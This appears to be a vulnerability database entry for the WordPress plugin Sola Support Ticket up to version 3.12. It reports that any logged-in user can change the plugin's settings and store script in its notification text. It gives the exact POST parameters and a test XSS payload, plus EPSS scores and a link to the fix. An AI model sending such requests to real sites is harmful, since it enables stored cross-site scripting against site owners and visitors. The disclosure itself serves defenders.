Sola Support Ticket <= 3.12 - XSS & Configuration Change

2016-01-2800:00:00

Justin Greer

0.001 Low

EPSS

Percentile

21.6%

JSON

Any logged in user with any role and access to wp-admin in any way can update plugin settings including allowing HTML to be parsed. One can also change any notification messages to include JS which then can be used to obtain information by forgery.

Make POST request to /wp-admin with parameters

sola_st_save_settings:1
sola_st_settings_allow_html:1
sola_st_settings_thank_you_text:<script>alert(1);</script>

References

plugins.trac.wordpress.org/changeset?old_path=%2Fsola-support-tickets%2Ftags%2F3.12&old=1350554&new_path=%2Fsola-support-tickets%2Ftags%2F3.13&new=1350554&sfp_email=&sfph_mail=

0.001 Low

EPSS

Percentile

21.6%

JSON

Related for WPEX-ID:5A1143FF-65B0-404F-BE63-86B3E5D775DF